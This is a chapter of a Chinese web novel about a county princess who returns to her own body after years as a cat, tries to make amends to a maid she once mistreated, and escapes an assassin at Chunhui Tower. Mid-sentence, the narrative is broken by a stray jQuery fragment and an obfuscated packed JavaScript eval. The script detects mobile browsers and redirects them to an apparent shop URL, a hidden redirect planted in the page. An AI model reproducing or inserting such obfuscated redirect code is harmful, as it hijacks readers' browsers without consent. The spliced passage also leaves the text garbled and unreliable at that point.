昨夜下了场春雨,青石阶上沁出茸茸青藓,漏雨积着,压得柳枝抬不起头。
天光稍沉,春晖楼外一水的灯笼芯烛便连成了片,小厮手拎旧纱灯熟稔招呼着往来宾客。临街支了张木案,笼屉一掀,肉香裹着雾气氲满整条街,食客瑟缩着身子拣了几屉肉包。
“听说了吗?这长乐郡主前些日子险些自戕,今日便被她伯母送到楼里驱邪了!”
又一食客勾起一条长凳,夹起一个包子含含糊糊斜觑一眼:“到底是庄子里养大的,穷山恶水出刁民,这话当真是半点不掺假。换作是我,也只得把她送去驱邪,省得哪日祸害到自己头上!”
话音未落,只听得“吱”一声响,一人抬头,只见窗棂推开半扇,一双指如削葱的手探出窗子,檐上残雨滚过檐角,恰好砸在食客额前,吓得他打了个激灵。
往上望去,只见一道人影立在窗前,影影绰绰,晕在刚升起的日头里。
食客咽了口唾沫,面色萎黄,轻扯了扯一旁那人的袖子,吞吞吐吐道:“你说……她听见了不曾?”
另一人早已僵直不动,堪堪收回朝上张望的眼神:“走……走吧……”
铜板板叮当响落在长凳上,笼屉还冒着热气,只咬了两口的包子被扔在板桌正中央的碗碟内,孤零零敞着口,两人灰溜溜钻进人群,转眼便没了影。
楼上,那双素手不知何时收回,在窗棂内侧叩了两下。
一位约莫十四五岁的小丫鬟挪着碎步,许是被眼前人吓到一般,磕磕绊绊涨红了脸,忙俯身行礼。
“郡主,周嬷嬷已差人备好妆奁,若无事……若无事奴婢便退下了。”
饶是她自小便服侍着长乐郡主,也摸不透这人的脾性,若遇着心情好便也罢了,若碰上主子恼着,便是劈头盖脸一顿打骂,半月前她膊肘上的淤青,至今日也未消退。
她不敢往下细想,额上已渗出一层薄汗,正愁着如何脱身,只见郡主对镜卸下那双东珠耳坠,搁置在妆台上。
“豆蔻,过来。”
豆蔻心中一紧,耸着腰肩碎步上前,垂眼望地,她怕是又惹到郡主了。
“把袖子挽起来。”
她又恐又惧,想起半月前她只因一时失手摔碎了茶盏,郡主当场便翻了脸,骂声穿透了半个长廊,她咬着嘴唇瑟缩着脖颈,双手微颤着奉上前。
阁内静悄悄的。
她闭眼等了许久,久到指尖开始发麻,预想中的鞭笞却并未落下,甚至连一句斥责也未曾入耳。腕上却覆上一层凉,她猛地一震,偷摸睁开眼,只见眼前人轻抚着晚上那两道淤青。
“让周嬷嬷寻些药膏来,原也是寻常人家捧在心尖上的女儿,阴差阳错才到了我跟前,我又怎好拘着你?”姜瑜倚在桌边,声音不高不低。
豆蔻怔了片刻,郡主怎会这般与自己说话?她伺候了这些年,早已习惯了郡主的泼辣性子,如今却如此轻言细语,她反倒不知如何是好了。
她心中一慌,只忙不迭低声应道便一溜烟钻出房门,慌促中险些被门槛绊倒,生怕姜瑜反悔似的。
眼瞧着小丫头窜出门去,姜瑜立即卸了力气,软塌塌伏在桌案上。
方才可把她紧张坏了。
她这副身子从前到底做了多少孽事,莫说豆蔻这小丫头,就连在食摊上对付一口的王大爷,挑担买菜的刘阿婆,街巷上下学游逛的孩童见了她都跟见了活阎王一般。
当年她一时风光无限的父亲在沙场鏖战而死,母亲被一封圣旨困于宫中,一时悲愤竟也跟着去了,自父亲过世,大伯姜柏接过父亲的差事,亦掌了国公府的权。
而她却被国公府送往罗城十三载,八岁那年,彼时她还是长乐郡主,脚踩石子一不留神落了水,醒来便发觉自己穿到一只白猫的身体里,她吓得半死,扑腾着腿在水里划拉,待她爬上岸,一照水面——迎面便是一张猫脸。
说来也怪,先前做人时,她是被弃到庄子无人教养的野丫头,待她做了猫,反倒享了几年清福,每日不是蜷着身子酣睡,就是脚踩瓦片游荡,趴在学堂顶上偷听夫子讲学。
她在庄上做了十年的猫,这城内外的大小事竟比那爱嚼舌根的婆子们都清楚。
唯一让她夜不能寐的,便是那个不知被谁强占着自己身躯的丫头。
那丫头最开始怯怯生生的,过了小半年竟逐渐蛮横跋扈起来,若恼了便摔了茶盏掌掴下人,遇上合心意的男子便一个劲逗弄,直至半年前被盛国公府接回京城也不消停,是全府上下都避着走的煞星。
姜瑜只觉这辈子没了指望,冠上个欺男霸女的恶女名头,谁成想,自己竟成了一只猫,自在快活,了此残生倒也罢了。
可未曾想,半月前,她正躺在屋顶晒太阳,爪子一滑便一骨碌从墙面上滚落,摔了个四脚朝天,再睁眼,便回到了这副身躯里,而她也再没见过那猫。
她将脸埋在臂弯里,思忖着日前周嬷嬷黑脸训了自己一番,她那伯母在一旁帮腔,只道自己是天煞孤星,命格硬朗,因此才自戕落了水,便请了城中知名的术士驱邪,送至这春晖楼诵经静心。
豆蔻胳膊上那两道淤青,是自己从前这副身子留下的,自己虽不曾存苛责下人的念头,可这桩桩件件的旧账,到底还需要她来收拾。
正当姜瑜胡思乱想之际,只听得檀木门“咯吱”一声,一位黑脸婆子推门而入,将妆奁置在桌案上,人却没走,上下掂量了两眼,喋喋不休道:“奴婢说了多少次,郡主如今在楼里静心,便是出不去这屋子的,药膏之事倒也罢了,可您命孙公子五日来一趟春晖楼,传出去像什么样子!”
姜瑜听了这话,蓦地直起腰板。
孙尚邈?是那个状元郎?是昔日曾被自己戏弄逗趣的当朝状元?
她只觉头疼得厉害。
昔日自己在长街偶遇孙尚邈,只见他一介青衫书生背着书箱赶考,遂觉有趣便上前逗弄,指尖轻挑那人的下巴,那人却踉跄后退,笔墨纸砚撒了一地。
后来他高中状元,披红挂彩游街,不知怎的,她便生了心思,时不时遣人来府中一坐,说是喝茶,实则却少不得轻佻挑逗,明里暗里揩油,这状元郎每每蹙眉,赴的不像是茶约,倒像是刑场。
那嬷嬷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463593|201293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见姜瑜不搭理她,越发来了劲,唾沫星子都要溅到姜瑜脸上:“别怪老奴多嘴,这春晖楼不比府上,夫人虽上下打点过一圈,可到底人多眼杂,莫不说这事传出去污了郡主的名声,怕是会败坏整个国公府的名声!”
耳边教训声愈发响亮,听得姜瑜恨不能长了茧子。
她拂了拂额,眼神落向已然黑了脸的周嬷嬷处,打断道:“既是我的错,便唤他来此一叙吧。”似是料到周嬷嬷即将劈头盖脸发难,她话口一转:“嬷嬷放心,我既知从前错处,此次叙话便断了过去那些子荒唐事,只吃茶品诗,春晖楼是清净之地,我还能做出出格的事不成?”
周嬷嬷先是一愣,而后结结巴巴的,到了嘴边的话便硬生生咽了回去:“奴婢……奴婢没有这个意思,我这就去唤孙公子。”
今日当真邪了门了!换作平日,哪回不是摔了茶盏就是砸了屏风,搅得阖府不宁,如今说了这般多的话,她却不急也不恼,如今虽话中有话,到底竟轻揭过去了,不复从前那般刻薄刁蛮样,反倒教自己心里发毛。
“莫不是真被那术士说中了?撞了邪反倒换了个人?”周嬷嬷一边嘀咕,一边将自个儿的想法抛在脑后。
话毕,她便忙不迭躬身出门,疾步朝外走去,连房门也忘了关。
日头斜斜照着,廊下的影子被拉得极长,像是长了脚,日光暖烘烘扑在地上。
桌案上的青瓷盏泛着温润的光,屋外那道身影跨过门槛,黑袍拂在地上,望向案旁那抹秋香色身影。
姜瑜正倚在案旁捧着茶盏,恼着该如何同孙尚邈解释,她的旧账未免也太多了些,若他是个寻常人家倒也罢了,可对方偏是个状元郎,今后少不了打照面。
门扉虚掩着,只一瞬间,姜瑜只觉身后一股凉风灌了进来,她没有回头,指尖却悄然攥紧手中瓷盏。
她做了八年的猫,对风声、脚步声尤为敏感,那人身上带风。又用余光一瞥,只见那道黑影行迹诡异朝自己靠近。
姜瑜欲哭无泪,偏什么事都让自己碰上了,这副身子到底招惹了多少仇家,拈花惹草倒也罢了,谁成想竟有人要她的命!
她心里头将从前那位问候了个遍,招惹谁不好,偏惹些不要命的主儿,如今自己拍拍屁股走人了,留下她在这挨刀子。
埋怨归埋怨,事总得接着干,总不能刚回到这副身子里,便一头死在这春晖楼。
姜瑜不动声色拿起茶铫,装作正欲煮茶的样子,猛地转身抄起茶盏便砸,茶水滚烫泼了那人一脸,又抓起茶铫朝刺客方向掷去,碎片叮铃哐啷砸了一地。
那人眼睛一眯,短刀挥空了一瞬,姜瑜没给他第二次机会,从那人臂弯下钻过去朝屋门大步跑去。
她几乎撞开了门,来不及细想去,便一头扎进旁边的一间厢房,反手将门栓扣上,心脏如擂鼓一般,大口喘着粗气,她还未回神,嗓子里涌出一股腥甜气味,只觉肺里烧得慌。
“陆离,把刀放下。”
姜瑜怔了片刻,只听见厢房里传来一阵不近不远的声音,敲在姜瑜的耳膜上。
这屋子里有人。